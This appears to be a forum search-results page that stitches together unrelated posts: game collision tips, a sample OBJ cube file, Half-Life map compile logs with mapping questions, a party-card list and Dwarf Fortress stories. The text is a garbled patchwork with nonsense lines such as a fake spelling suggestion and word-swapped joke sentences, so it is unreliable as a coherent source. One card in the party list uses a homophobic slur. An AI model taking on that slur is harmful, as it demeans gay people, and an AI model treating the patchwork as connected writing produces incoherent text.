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Posts with 'pirana mammey object':


Did you mean marron blearily?

User
It looks like you're making a collision normal vector from the difference between the object center and the player center. This is going to mean collisions act differently near the corner of a polygon vs near the center. That's not right. It should act the same anywhere you hit the same polygon. So you might want to instead use something like the normal of the surface that was hit.

Also it looks like you're moving the player back to a last-known-good position on collision. For more fluid movement you usually want to do something like truncate the movement vector so that you "slide along" the wall with the component of the velocity in that direction. Different games handle this differently but usually it's something that fits that description. For example in Portal 2 I noticed you get a speed boost from this, which is weird. I think it's overcompensating truncating your velocity and then accidentally giving you a boost along the wall.

Point is, even Valve doesn't get it right apparently, so don't sweat it too much.
User
Games on windows should be compiled only using MSVC compiler. At average it is 5-15% faster.
The project that was before was working fine besides it was missing res and shader folder in project directory, x64 dlls, and also SDL.h
Idk why you had errors.

OBJ is the most basic model format that stores vertices, normals and faces as text. Designed 197X it is still in use and cad display almost anything. It is enough for level since you can storage entity info in object name

code

# cube.obj
#

g cube

v 0.0 0.0 0.0
v 0.0 0.0 1.0
v 0.0 1.0 0.0
v 0.0 1.0 1.0
v 1.0 0.0 0.0
v 1.0 0.0 1.0
v 1.0 1.0 0.0
v 1.0 1.0 1.0

vn 0.0 0.0 1.0
vn 0.0 0.0 -1.0
vn 0.0 1.0 0.0
vn 0.0 -1.0 0.0
vn 1.0 0.0 0.0
vn -1.0 0.0 0.0

f 1//2 7//2 5//2
f 1//2 3//2 7//2
f 1//6 4//6 3//6
f 1//6 2//6 4//6
f 3//3 8//3 7//3
f 3//3 4//3 8//3
f 5//5 7//5 8//5
f 5//5 8//5 6//5
f 1//4 5//4 6//4
f 1//4 6//4 2//4
f 2//1 6//1 8//1
f 2//1 8//1 4//1


You can generate collision from obj file or do it dynamically.
I was trying to make something like that using DirectXTK (https://github.com/microsoft/DirectXTK/wiki/Getting-Started/) I was able to load obj but matrix calculations made made me quit the idea of making my own engine
User
I'm doing great! How are you?

I fixed the .bat file, but you need to follow the instructions to install MSYS2 first. I think it's a lot faster than installing VS since it only takes about a minute.

I will try out your MSVC fixes and them to the project.

I don't really know anything about OBJ files. Usually you need more than a model object for a game level. You need all kinds of collision information, pathing etc, for example that wouldn't be in a model file normally. Depending on the game type.
User
Ok, a little backstory. I was mapping almost as long as CS is. Not constantly, but returning to it each and few years, but almost never did I have my map working (esp. for original games). So it's a lifetime tragedy.

Yesterday I decided to give it another shot, quickly drafted a somewhat of a map, compiled it and... it worked! (jaw's on the floor)

Filled with joy I decided to continue working on it, but no matter what changes I make, they do not appear in CS. (totall bummer)

I fiddled with folders, mapcycle, hammer configurations, but I just don't see the root of the problem. Though I remember I had something similiar many years ago with source, though I may be wrong.

-----

I don't even know where CS gets dm_tremor_alfa map – I searched the whole directory – there's none! And no matter what I do it doesn't see dm_tremor. Console command doesn't summon it too. But "alfa version" – no sweat.

----

Compile Process if it's useful:

code



** Executing...
** Command: Change Directory
** Parameters: F:\Games\Steam\SteamApps\******\counter-strike


** Executing...
** Command: Copy File
** Parameters: "F:\Games\Steam\SteamApps\common\Half-Life SDK\Map Files\DM_TREMOR.map" "F:\Games\Steam\SteamApps\******\counter-strike\cstrike\maps\DM_TREMOR.map"


** Executing...
** Command: F:\Games\Steam\STEAMA~1\common\HALF-L~4\HAMMER~1\tools\qcsg.exe
** Parameters: "F:\Games\Steam\SteamApps\******\counter-strike\cstrike\maps\DM_TREMOR"

qcsg.exe v2.8 (Jan 31 2000)
---- qcsg ----
entering F:\Games\Steam\SteamApps\******\counter-strike\cstrike\maps\DM_TREMOR.map
CreateBrush: 0...1...2...3...4...5...6...7...8...9... (0)
CSGBrush: 0...1...2...3...4...5...6...7...8...9... (0)
Using WAD File: \games\steam\steamapps\******\counter-strike\cstrike\de_storm.wad
Using WAD File: \games\steam\steamapps\******\counter-strike\cstrike\prodigy.wad
Using WAD File: \games\steam\steamapps\******\counter-strike\cstrike\torntextures.wad
0 seconds elapsed

** Executing...
** Command: F:\Games\Steam\STEAMA~1\common\HALF-L~4\HAMMER~1\tools\qbsp2.exe
** Parameters: "F:\Games\Steam\SteamApps\******\counter-strike\cstrike\maps\DM_TREMOR"

qbsp2.exe v2.2 (Dec 28 1998)
---- qbsp2 ----
writing F:\Games\Steam\SteamApps\******\counter-strike\cstrike\maps\DM_TREMOR.prt
0 seconds elapsed

** Executing...
** Command: F:\Games\Steam\STEAMA~1\common\HALF-L~4\HAMMER~1\tools\vis.exe
** Parameters: -fast "F:\Games\Steam\SteamApps\******\counter-strike\cstrike\maps\DM_TREMOR"

vis.exe v1.3 (Dec 30 1998)
---- vis ----
fastvis = true
4 thread(s)
319 portalleafs
925 numportals
BasePortalVis: 0...1...2...3...4...5...6...7...8...9... (0)
average leafs visible: 142
visdatasize:13063 compressed from 12760
1.0 seconds elapsed

** Executing...
** Command: F:\Games\Steam\STEAMA~1\common\HALF-L~4\HAMMER~1\tools\qrad.exe
** Parameters: "F:\Games\Steam\SteamApps\******\counter-strike\cstrike\maps\DM_TREMOR"

qrad.exe v 1.5 (Apr 6 2000)
----- Radiosity ----
4 threads
[Reading texlights from 'F:\Games\Steam\STEAMA~1\common\HALF-L~4\HAMMER~1\tools\lights.rad']
[1 texlights parsed from 'F:\Games\Steam\STEAMA~1\common\HALF-L~4\HAMMER~1\tools\lights.rad']

2192 faces
228375 square feet [32886086.00 square inches]
17913 patches after subdivision
5 direct lights
BuildFacelights: 0...1...2...3...4...5...6...7...8...9... (1)
visibility matrix: 19.1 megs
BuildVisLeafs: 0...1...2...3...4...5...6...7...8...9... (2)
MakeScales: 0...1...2...3...4...5...6...7...8...9... (1)
transfer lists: 44.3 megs
SwapTransfersTask: 0...1...2...3...4...5...6...7...8...9... (1)
GatherLight: 0...1...2...3...4...5...6...7...8...9... (0)
Bounce #1 added RGB(22669, 30602, 34015)
FinalLightFace: 0...1...2...3...4...5...6...7...8...9... (0)

Object names Objects/Maxobjs Memory / Maxmem Fullness
------------ --------------- --------------- --------
models 1/400 64/25600 ( 0.3%)
planes 1670/32767 33400/655340 ( 5.1%)
vertexes 2744/65535 32928/786420 ( 4.2%)
nodes 599/32767 14376/786408 ( 1.8%)
texinfos 46/8192 1840/327680 ( 0.6%)
faces 2192/65535 43840/1310700 ( 3.3%)
clipnodes 1932/32767 15456/262136 ( 5.9%)
leaves 320/8192 8960/229376 ( 3.9%)
marksurfaces 2428/65535 4856/131070 ( 3.7%)
surfedges 10132/512000 40528/2048000 ( 2.0%)
edges 5122/256000 20488/1024000 ( 2.0%)
texdata [variable] 400/2097152 ( 0.0%)
lightdata [variable] 739593/2097152 (35.3%)
visdata [variable] 13063/2097152 ( 0.6%)
entdata [variable] 1515/131072 ( 1.2%)
=== Total BSP file data space used: 971307 bytes ===
5 seconds elapsed

** Executing...
** Command: F:\Games\Steam\STEAMA~1\******\COUNTE~2\hl.exe
** Parameters: +map "DM_TREMOR"




-----

Also, there's a bsp file of the map for you to check. Maybe it supposed not to work: https://drive.google.com/open?id=0BzZzhq8BzoW1RlZTYnJVSDRUYW8

----

Thanks in advance.

User
a concrete, actual object n

The Great Wall was actually built to keep a concrete, actual object out of mainland China.
This year’s hottest new fashion is a concrete, actual object on your head.
Help! I can’t find my daughter! She looks like my fantasy and is carrying a concrete, actual object.
Chimps in the wild have been observed using a concrete, actual object to forage for food.
When the stadium was demolished it ejected a concrete, actual object, which hung in the air for days.
Facebook just bought Cops Getting High Company, hoping to get a stronger position in a concrete, actual object.

User
Gut-wrenching testimony.

The chocolate object.
Truck
User
SuperJer said:
What is slow, exactly? The compiling process?

If haven't already, you should make an object like that into an entity.

Select the whole thing, Ctrl+T, and choose func_wall.

What do you want the button to do?

The exactly slow compiling process is LeafThread. And i want the button when i press it the windwall starts to turn in a circle way, like in real life. Plz tell me how with details
Truck
User
What is slow, exactly? The compiling process?

If haven't already, you should make an object like that into an entity.

Select the whole thing, Ctrl+T, and choose func_wall.

What do you want the button to do?
User
BLACK CARDS

If you can discover a better way of life than office-holding for____, a well-governed city becomes a possibility.

Once a man has changed the relationship between himself and ____, he cannot return to the blissful ignorance he left.

____is dangerous and difficult to control, but its products will soon become commonplace in our society.

And can ____ be tricked into hiding from itself?

A bunch of slack-jawed faggots around here! This stuff will make you ___. Just like me.

____ is only movement and love; it is the living infinite.

The wicked have told me of things that delight them, but not such things as ___.

Cry HAVOC! And let slip ___!

___ is the last refuge of a scoundrel.

If tyranny ever came to this land, it will be in the guise of ___.

The voice of the people is the voice of ____.

"Some are born great, some achieve greatness, and some have ___thrust upon them.

It will happen, and it will happen in our lifetimes. ___isn't just the future. ____ is now.

The price of freedom is ___.

I have seen enough of ___ never to wish to see another.

___ is the essential concept and the first truth.

____ is only a receptacle for all the prodigious, supernatural things that exist
inside it.

A scientist must be ____, in order to block out the incessant chorus of those who say "It cannot be done."

When beholding the tranquil beauty and brilliancy of____, one forgets the tiger heart that pants beneath it.

___ rests at the apex of the first triad of victory, for it combines Mobility, Flexibility, and Initiative.

For only in such a state will those rule who are truly rich, not in gold, but in the wealth that makes happiness, ____.

Important? Yes! Critical? Absolutely. I would go so far as to say that ____alone makes our present economy possible.

Our ancestors harnessed the power of ___, and so again shall we.



PLAY TWO

Without ____ no object would be given to us, without ____ no object would be thought.

Thoughts without ____are empty, intuitions without ____ are blind.

___ and ____ have, when taken together, a geometric effect on overall military strength.

I maintain that yin-yang dualism can be overcome, and we can give substance to any distinction: mind without body, north without south, ____ without ___.

Men will ultimately be governed by ___ or ___.



WHITE CARDS

Self-Aware Machines

Tig ol' Bitties

The dogs of war

moral value

Goddamn Space Tigers

Forklift jousting

A homo-erotic volleyball montage.

Desert nomads

the Final Fantasy XIII game guide

Kicking tires and lighting fires

Nonlinear Mathematics

Non-Euclidean geometry
User
Okay, I have gotten my compile time down with 50% on this map I'm making by me removing the solids that I left in the air with "NULL" on them(Great thing).

To the questions:
ALLOCBLOCK? What do I do to remove the % of usage on it? Honestly, everyone that has written an answer is telling me it could be:

WAD SIZE - I've only been using the huge wads because I wanted to have everything I could ever need ready for me. This problem will be removed for my next attempt to compile this map.
Scaling of the textures that I've used in my map, I will be honest and say alot of the 256x256 are maybe 0,5-0,3 of their original scale. Even tho me personaly I think it should just have an effect on light/bounce.

Amount of Entities? As in the picture I have right here:
you can clearly see my entity use is not that great.
BUT! I have binded plenty of solids into one func_illusionary - could this cause bugs? It shouldn't right? They are spread out on the map it's not just one big piece of solids.

Are there any commands to be able to get the AllocBlock to get more space?

CLIP brush usage? I always put it around my map because I think it's simple and very easy to block players from going wherever they are not allowed to.

Will I need another program like QuArK to be able to remove this problem?

Final question - for now: How do I get to these places? Like for example:
Warning: Ambiguous leafnode content ( EMPTY and SOLID ) at
---> (-2474,-3964,-16 )(-2467,-3963,24) <--- How do I get to these coordinates? Honestly theres just no way of finding out where the heck that is on my map?

---> in hull 0 of model 84 <-- Where the hell is my model 84 and how do I get to it aswell?

(entity: classname "func_illusionary", origin "", targetname "")


******** COMPILE LOG *********

hlcsg v3.4 VL31 (Oct 14 2013)
hlcsg v3.4 VL31 (Oct 14 2013)
Zoner's Half-Life Compilation Tools -- Custom Build
Based on code modifications by Sean 'Zoner' Cavanaugh
Based on Valve's version, modified with permission.
Submit detailed bug reports to (vluzacn@163.com)
----- BEGIN hlcsg -----
Command line: D:\Program\WORLDC~1\tools\hlcsg.exe d:\program\worldcraft\maps\BETATEST -texdata 8000 -wadinclude BETATEST.wad
Arguments: d:\program\worldcraft\maps\BETATEST -texdata 8000 -wadinclude BETATEST.wad -low -wadautodetect
Entering d:\program\worldcraft\maps\BETATEST.map

Current hlcsg Settings
Name | Setting | Default
---------------------|-----------|-------------------------
threads [ 4 ] [ Varies ]
verbose [ off ] [ off ]
log [ on ] [ on ]
reset logfile [ on ] [ on ]
developer [ 0 ] [ 0 ]
chart [ off ] [ off ]
estimate [ off ] [ off ]
max texture memory [ 8192000 ] [ 33554432 ]
max lighting memory [ 33554432 ] [ 33554432 ]
priority [ Low ] [ Normal ]

noclip [ off ] [ off ]
null texture stripping[ on ] [ on ]
clipnode economy mode [ off ] [ off ]
clip hull type [ simple ] [ simple ]
onlyents [ off ] [ off ]
wadtextures [ on ] [ on ]
skyclip [ on ] [ on ]
hullfile [ None ] [ None ]
wad configuration file[ None ] [ None ]
wad.cfg group name [ None ] [ None ]
nullfile [ None ] [ None ]
nullify trigger [ on ] [ on ]
min surface area [ 0.000 ] [ 0.000 ]
brush union threshold [ 0.000 ] [ 0.000 ]
map scaling [ None ] [ None ]
light name optimize [ on ] [ on ]
UTF8 game_text [ on ] [ on ]

Using mapfile wad configuration
Wadfiles not in use by the map will be excluded
Wadinclude list :
[zhlt.wad]
[betatest.wad]

CreateBrush:
(2.36 seconds)
CSGBrush:
(1.77 seconds)

Using Wadfile: \program\worldcraft\wads\christmasultimatemaddafakka.wad
- Contains 45 used textures, 23.32 percent of map (472 textures in wad)
Including Wadfile: \program\worldcraft\wads\BETATEST.wad
- Contains 141 used textures, 73.06 percent of map (246 textures in wad)
Using Wadfile: \program\worldcraft\wads\chateau.wad
- Contains 7 used textures, 3.63 percent of map (136 textures in wad)

Wad files required to run the map: "christmasultimatemaddafakka.wad;chateau.wad;"

added 30 additional animating textures.
Texture usage is at 7.18 mb (of 7.81 mb MAX)
4.97 seconds elapsed

----- END hlcsg -----



hlbsp v3.4 VL31 (Oct 14 2013)
Zoner's Half-Life Compilation Tools -- Custom Build
Based on code modifications by Sean 'Zoner' Cavanaugh
Based on Valve's version, modified with permission.
Submit detailed bug reports to (vluzacn@163.com)
----- BEGIN hlbsp -----
Command line: D:\Program\WORLDC~1\tools\hlbsp.exe d:\program\worldcraft\maps\BETATEST
Arguments: d:\program\worldcraft\maps\BETATEST -low -chart

Current hlbsp Settings
Name | Setting | Default
-------------------|-----------|-------------------------
threads [ 4 ] [ Varies ]
verbose [ off ] [ off ]
log [ on ] [ on ]
developer [ 0 ] [ 0 ]
chart [ on ] [ off ]
estimate [ off ] [ off ]
max texture memory [ 33554432 ] [ 33554432 ]
priority [ Low ] [ Normal ]

noclip [ off ] [ off ]
nofill [ off ] [ off ]
noinsidefill [ off ] [ off ]
noopt [ off ] [ off ]
no clipnode merging [ off ] [ off ]
null tex. stripping [ on ] [ on ]
notjunc [ off ] [ off ]
nobrink [ off ] [ off ]
subdivide size [ 240 ] [ 240 ] (Min 64) (Max 512)
max node size [ 1024 ] [ 1024 ] (Min 64) (Max 65536)
remove hull 2 [ off ] [ off ]


SolidBSP [hull 0] 500...1000...1500...2000...2500...3000...3500...4000...4500...5000...5500...6000...6500...7000...7500...7693 (2.14 seconds)
BSP generation successful, writing portal file 'd:\program\worldcraft\maps\BETATEST.prt'
SolidBSP [hull 1] Warning: Ambiguous leafnode content ( EMPTY and SOLID ) at (-64,2887,1505)-(400,3280,1733) in hull 1 of model 0 (entity: classname "worldspawn", origin "", targetname "")
Warning: Ambiguous leafnode content ( EMPTY and SOLID ) at (7,2352,1508)-(400,2832,1733) in hull 1 of model 0 (entity: classname "worldspawn", origin "", targetname "")
500...1000...1500...2000...2500...3000...3500...Warning: Ambiguous leafnode content ( EMPTY and SOLID ) at (128,1432,-232)-(129,1433,-148) in hull 1 of model 0 (entity: classname "worldspawn", origin "", targetname "")
4000...4500...5000...5500...6000...6374 (1.57 seconds)
SolidBSP [hull 2] Warning: Ambiguous leafnode content ( EMPTY and SOLID ) at (-64,2903,1501)-(416,3296,1729) in hull 2 of model 0 (entity: classname "worldspawn", origin "", targetname "")
Warning: Ambiguous leafnode content ( EMPTY and SOLID ) at (23,2336,1504)-(416,2848,1729) in hull 2 of model 0 (entity: classname "worldspawn", origin "", targetname "")
500...1000...1500...2000...2500...Warning: Ambiguous leafnode content ( EMPTY and SOLID ) at (112,1448,-228)-(113,1449,-152) in hull 2 of model 0 (entity: classname "worldspawn", origin "", targetname "")
3000...3500...4000...4500...5000...5249 (1.08 seconds)
SolidBSP [hull 3] Warning: Ambiguous leafnode content ( EMPTY and SOLID ) at (-64,2887,1487)-(400,3280,1715) in hull 3 of model 0 (entity: classname "worldspawn", origin "", targetname "")
Warning: Ambiguous leafnode content ( EMPTY and SOLID ) at (7,2352,1490)-(400,2832,1715) in hull 3 of model 0 (entity: classname "worldspawn", origin "", targetname "")
500...1000...1500...2000...2500...3000...3500...4000...4500...5000...5500...6000...6500...7000...7083 (1.71 seconds)
Warning: Ambiguous leafnode content ( EMPTY and SOLID ) at (38,2602,1050)-(44,2602,1092) in hull 1 of model 83 (entity: classname "func_illusionary", origin "", targetname "")
Warning: Ambiguous leafnode content ( EMPTY and SOLID ) at (-81,2585,975)-(-72,2585,993) in hull 2 of model 83 (entity: classname "func_illusionary", origin "", targetname "")
Warning: Ambiguous leafnode content ( EMPTY and SOLID ) at (38,2602,1032)-(44,2602,1074) in hull 3 of model 83 (entity: classname "func_illusionary", origin "", targetname "")
Warning: Ambiguous leafnode content ( EMPTY and SOLID ) at (-2474,-3964,-16)-(-2467,-3963,24) in hull 0 of model 84 (entity: classname "func_illusionary", origin "", targetname "")
Warning: Ambiguous leafnode content ( EMPTY and SOLID ) at (-2474,-3968,-16)-(-2467,-3967,24) in hull 0 of model 84 (entity: classname "func_illusionary", origin "", targetname "")
Warning: Ambiguous leafnode content ( EMPTY and SOLID ) at (-2490,-3948,-52)-(-2451,-3948,-36) in hull 1 of model 84 (entity: classname "func_illusionary", origin "", targetname "")
Warning: Ambiguous leafnode content ( EMPTY and SOLID ) at (-2551,-3947,-20)-(-2530,-3947,-12) in hull 1 of model 84 (entity: classname "func_illusionary", origin "", targetname "")
Warning: Ambiguous leafnode content ( EMPTY and SOLID ) at (-2614,-3948,-65)-(-2592,-3948,-42) in hull 1 of model 84 (entity: classname "func_illusionary", origin "", targetname "")
Warning: Ambiguous leafnode content ( EMPTY and SOLID ) at (-2614,-3948,-53)-(-2592,-3947,-2) in hull 1 of model 84 (entity: classname "func_illusionary", origin "", targetname "")
Warning: Ambiguous leafnode content ( EMPTY and SOLID ) at (-2598,-3984,-65)-(-2592,-3984,17) in hull 1 of model 84 (entity: classname "func_illusionary", origin "", targetname "")
Warning: Ambiguous leafnode content ( EMPTY and SOLID ) at (-2634,-3983,53)-(-2614,-3983,63) in hull 1 of model 84 (entity: classname "func_illusionary", origin "", targetname "")
Warning: Ambiguous leafnode content ( EMPTY and SOLID ) at (-2576,-3931,-16)-(-2563,-3931,-3) in hull 2 of model 84 (entity: classname "func_illusionary", origin "", targetname "")
Warning: Ambiguous leafnode content ( EMPTY and SOLID ) at (-2576,-3931,-9)-(-2566,-3931,1) in hull 2 of model 84 (entity: classname "func_illusionary", origin "", targetname "")
Warning: Ambiguous leafnode content ( EMPTY and SOLID ) at (-2506,-3932,-48)-(-2435,-3932,-32) in hull 2 of model 84 (entity: classname "func_illusionary", origin "", targetname "")
Warning: Ambiguous leafnode content ( EMPTY and SOLID ) at (-2618,-3931,-12)-(-2576,-3931,-8) in hull 2 of model 84 (entity: classname "func_illusionary", origin "", targetname "")
Warning: Ambiguous leafnode content ( EMPTY and SOLID ) at (-2618,-3931,-17)-(-2576,-3931,21) in hull 2 of model 84 (entity: classname "func_illusionary", origin "", targetname "")
Warning: Ambiguous leafnode content ( EMPTY and SOLID ) at (-2652,-3999,50)-(-2628,-3998,81) in hull 2 of model 84 (entity: classname "func_illusionary", origin "", targetname "")
Warning: Ambiguous leafnode content ( EMPTY and SOLID ) at (-2490,-3948,-34)-(-2451,-3948,-18) in hull 3 of model 84 (entity: classname "func_illusionary", origin "", targetname "")
Warning: Ambiguous leafnode content ( EMPTY and SOLID ) at (-2551,-3947,-2)-(-2530,-3947,6) in hull 3 of model 84 (entity: classname "func_illusionary", origin "", targetname "")
Warning: Ambiguous leafnode content ( EMPTY and SOLID ) at (-2467,-3984,-7)-(-2420,-3984,6) in hull 3 of model 84 (entity: classname "func_illusionary", origin "", targetname "")
Warning: Ambiguous leafnode content ( EMPTY and SOLID ) at (-2614,-3948,-47)-(-2592,-3948,-24) in hull 3 of model 84 (entity: classname "func_illusionary", origin "", targetname "")
Warning: Ambiguous leafnode content ( EMPTY and SOLID ) at (-2614,-3948,-35)-(-2592,-3947,16) in hull 3 of model 84 (entity: classname "func_illusionary", origin "", targetname "")
Warning: Ambiguous leafnode content ( EMPTY and SOLID ) at (-2598,-3984,-47)-(-2592,-3984,-4) in hull 3 of model 84 (entity: classname "func_illusionary", origin "", targetname "")
Warning: Ambiguous leafnode content ( EMPTY and SOLID ) at (-2634,-3983,35)-(-2614,-3983,45) in hull 3 of model 84 (entity: classname "func_illusionary", origin "", targetname "")
Warning: Ambiguous leafnode content ( EMPTY and SOLID ) at (-2842,3085,-2375)-(-2827,3085,-2364) in hull 3 of model 85 (entity: classname "func_illusionary", origin "", targetname "")
Reduced 26816 clipnodes to 23848
Reduced 2019 texinfos to 1849
Reduced 223 texdatas to 222 (5331156 bytes to 5330000)
Reduced 33348 planes to 10043
FixBrinks:
Increased 23848 clipnodes to 24213.

Object names Objects/Maxobjs Memory / Maxmem Fullness
------------ --------------- --------------- --------
models 210/512 13440/32768 (41.0%)
planes 10043/32768 200860/655360 (30.6%)
vertexes 35069/65535 420828/786420 (53.5%)
nodes 10416/32767 249984/786408 (31.8%)
texinfos 1849/32767 73960/1310680 ( 5.6%)
faces 25136/65535 502720/1310700 (38.4%)
* worldfaces 20274/32768 0/0 (61.9%)
clipnodes 24213/32767 193704/262136 (73.9%)
leaves 6677/32760 186956/917280 (20.4%)
* worldleaves 4396/8192 0/0 (53.7%)
marksurfaces 31099/65535 62198/131070 (47.5%)
surfedges 119535/512000 478140/2048000 (23.3%)
edges 61067/256000 244268/1024000 (23.9%)
texdata [variable] 5330000/33554432 (15.9%)
lightdata [variable] 0/33554432 ( 0.0%)
visdata [variable] 0/8388608 ( 0.0%)
entdata [variable] 33683/2097152 ( 1.6%)
* AllocBlock 81/64 0/0 (126.6%)
222 textures referenced
=== Total BSP file data space used: 7990741 bytes ===
Wad files required to run the map: "christmasultimatemaddafakka.wad;chateau.wad;"
15.97 seconds elapsed

----- END hlbsp -----



hlvis v3.4 VL31 (Oct 14 2013)
Zoner's Half-Life Compilation Tools -- Custom Build
Based on code modifications by Sean 'Zoner' Cavanaugh
Based on Valve's version, modified with permission.
Submit detailed bug reports to (vluzacn@163.com)
----- BEGIN hlvis -----
Command line: D:\Program\WORLDC~1\tools\hlvis.exe d:\program\worldcraft\maps\BETATESTe -full
Arguments: d:\program\worldcraft\maps\BETATEST -full -low
4396 portalleafs
15364 numportals

-= Current hlvis Settings =-
Name | Setting | Default
-------------------|-----------|-------------------------
threads [ 4 ] [ Varies ]
verbose [ off ] [ off ]
log [ on ] [ on ]
developer [ 0 ] [ 0 ]
chart [ off ] [ off ]
estimate [ off ] [ off ]
max texture memory [ 33554432 ] [ 33554432 ]
max vis distance [ 0 ] [ 0 ]
priority [ Low ] [ Normal ]

fast vis [ off ] [ off ]
full vis [ on ] [ off ]


BasePortalVis:
(7.73 seconds)
LeafThread:
Warning: ChopWinding : rejected(1) due to too many points

Warning: ChopWinding : rejected(1) due to too many points

Warning: ChopWinding : rejected(1) due to too many points

Warning: ChopWinding : rejected(1) due to too many points

Warning: ChopWinding : rejected(1) due to too many points

Warning: ChopWinding : rejected(1) due to too many points

(2759.85 seconds)
average leafs visible: 434
g_visdatasize:570488 compressed from 2417800
2767.95 seconds elapsed [46m 7s]

----- END hlvis -----



hlrad v3.4 VL31 (Oct 14 2013)
Zoner's Half-Life Compilation Tools -- Custom Build
Based on code modifications by Sean 'Zoner' Cavanaugh
Based on Valve's version, modified with permission.
Submit detailed bug reports to (vluzacn@163.com)
----- BEGIN hlrad -----
Command line: D:\Program\WORLDC~1\tools\hlrad.exe d:\program\worldcraft\maps\BETATEST -extra -sparse
Arguments: d:\program\worldcraft\maps\BETATEST -extra -low -vismatrix sparse

-= Current hlrad Settings =-
Name | Setting | Default
--------------------|---------------------|-------------------------
threads [ 4 ] [ Varies ]
verbose [ off ] [ off ]
log [ on ] [ on ]
developer [ 0 ] [ 0 ]
chart [ off ] [ off ]
estimate [ off ] [ off ]
max texture memory [ 33554432 ] [ 33554432 ]
max lighting memory [ 33554432 ] [ 33554432 ]
priority [ Low ] [ Normal ]

fast rad [ off ] [ off ]
vismatrix algorithm [ Sparse ] [ Sparse ]
oversampling (-extra)[ on ] [ off ]
bounces [ 8 ] [ 8 ]
ambient light [ 0.000 0.000 0.000 ] [ 0.000 0.000 0.000 ]
light limit threshold[ 188.000 ] [ 188.000 ]
circus mode [ off ] [ off ]

smoothing threshold [ 50.000 ] [ 50.000 ]
smoothing threshold 2[ no change ] [ no change ]
direct threshold [ 10.000 ] [ 10.000 ]
direct light scale [ 1.000 ] [ 1.000 ]
coring threshold [ 0.001 ] [ 0.001 ]
patch interpolation [ on ] [ on ]

texscale [ on ] [ on ]
patch subdividing [ on ] [ on ]
chop value [ 64.000 ] [ 64.000 ]
texchop value [ 32.000 ] [ 32.000 ]

global fade [ 1.000 ] [ 1.000 ]
global light scale [ 2.000 2.000 2.000 ] [ 2.000 2.000 2.000 ]
global gamma [ 0.550 0.550 0.550 ] [ 0.550 0.550 0.550 ]
global light scale [ 2.000 ] [ 2.000 ]
global sky diffusion [ 1.000 ] [ 1.000 ]

spread angles [ on ] [ on ]
opaque entities [ on ] [ on ]
sky lighting fix [ on ] [ on ]
incremental [ off ] [ off ]
dump [ off ] [ off ]

colour jitter [ 0.0 0.0 0.0 ] [ 0.0 0.0 0.0 ]
monochromatic jitter [ 0.0 0.0 0.0 ] [ 0.0 0.0 0.0 ]

custom shadows with bounce light
[ off ] [ off ]
rgb transfers [ off ] [ off ]
minimum final light [ 0 ] [ 0 ]
size of transfer [ 1 (16bit) ] [ 1 (16bit) ]
size of rgbtransfer [ 2 (32bit) ] [ 2 (32bit) ]
soft sky [ on ] [ on ]
translucent depth [ 2.000 ] [ 2.000 ]
block opaque [ on ] [ on ]
ignore textures [ off ] [ off ]
reflectivity gamma [ 1.760 ] [ 1.760 ]
reflectivity scale [ 0.700 ] [ 0.700 ]
blur size [ 1.500 ] [ 1.500 ]
no emitter range [ off ] [ off ]
wall bleeding fix [ on ] [ on ]


Load Textures:
Using Wadfile: d:\program\worldcraft\maps\BETATEST.wa_
222 textures referenced
Reading texlights from 'D:\Program\WORLDC~1\tools\lights.rad'
0 opaque models
0 opaque faces
25136 faces
Create Patches : 99732 base patches
1520196 square feet [218908352.00 square inches]
1 direct lights and 16386 fast direct lights
1 light styles

FindFacePositions:
(12.61 seconds)
BuildFacelights:
(261.15 seconds)
BuildVisLeafs:
(261.93 seconds)
visibility matrix : 129.2 megs
MakeScales:
(270.27 seconds)
Transfer Lists : 388612874 : 388.61M transfers
Indices : 115699972 : 110.34M bytes
Data : 777507994 : 741.49M bytes
Bounce 1 GatherLight:
(9.04 seconds)
Bounce 2 GatherLight:
(9.12 seconds)
Bounce 3 GatherLight:
(9.11 seconds)
Bounce 4 GatherLight:
(9.08 seconds)
Bounce 5 GatherLight:
(9.02 seconds)
Bounce 6 GatherLight:
(9.09 seconds)
Bounce 7 GatherLight:
(9.06 seconds)
Bounce 8 GatherLight:
(9.07 seconds)
AddPatchLights:
(6.02 seconds)
FinalLightFace:
(0.12 seconds)
889.16 seconds elapsed [14m 49s]

----- END hlrad -----
User
He masterfully cut those trolls into *oval troll cabochons*. This object menaces with spikes of troll bone.

I'll wear your bones when you're dead!

Also, I was mistaken, the cliff is 94 z-levels high. And I just dumped a berserk horse over the edge. It blew the fuck up into as many components as you could possibly imagine.
Truck
User
Well.. as I see in alot of tutorial vedios, when they open the object properties they got alot of bars than me. I got 'Classinfo', flags and Visgroup only, but I see they got 'Input' and 'Output' too

Also the 'flag' bar, they got more option inside so I can't follow any tutorials due to that.

Thanks, I hope you help me
User
Black bronze processes postponed, I forgot that you need gold for that. GOD.

Today, I acquired a type of artifact which is new to me.

The cool thing about artifacts (unless the dwarf is possessed of course) is that they will give their maker legendary skills in whatever task they were working in, meaning high speeds and improved quality. While a lot of artifacts aren't directly practical, having a guy who can whip out masterful beds or furniture can come in handy for keeping dwarves happy. Likewise, I lucked out in getting a legendary weaponsmith because it means better multipliers on the attack. If I had a legendary armorsmith, it would mean multipliers on the deflect, ideally. Another weird thing is that you can end up with both non-native materials and non-native weapons, so that weaponsmith that's off his nut just made a yak bone blowgun instead of a steel hammer.

This is the artifact now in my possession:

Quote:
This is a Cassiterite mechanisms. All craftsdwarfship is of the highest quality. It is encrusted with oval Cassiterite cabochons, oval gneiss cabochons and briolette cut rubicelles and decorated with palm. This object is adorned with hanging rings of cassiterite and menaces with spikes of cave spider silk, puple spinel, and ilmenite.
On the item is an image of Rith Swordmiles the dwarf and dwarves in Cassiterite. Rith Swordmiles is surrounded by the dwarves. The artwork relates to the appointment of the dwarf Rith Swordmiles to the position of general of The Ancient Canyons in 1.
On the item is an image of wild strawberries in llama wool.

It is Zizcunrungak, "The Reticent Skunk." Cassiterite, of course, is an ore that you smelt into tin. DWARVES,

I've never had a legendary mechanic before or anything of that sort, but I suppose it's practical as higher-grade mechanisms are more likely to hit and not jam. Also I could put my legendary silver spike in it and just have this trap that everyone admires. Prior to this, I had a perfect garnet as my artifact, so I'm now cutting gems at the highest levels.


This doesn't really go anywhere, but yeah, the Dwarves come from The Ancient Canyons. The Goblins are "The Hate of Shimmering" (gotta steal all those shiny things that they should not offend thee). The Humans are "The Complex Empire" (don't even try to understand it) and the Elves are "The Hardy Pack" and I hope they are in some inhospitable clime.
User
Having reread your post in a similar late-night frame of mind, I'd have to say I think I was going for the attention to detail thing. Which is pretty cool, to be honest. I'm not sure I can actually think of any decent relationship examples in games, beyond the standard "but Bioware" comment. Though their solution essentially amounts to you talking to the person/object of interest until they submit.

Maybe it is time for something new.

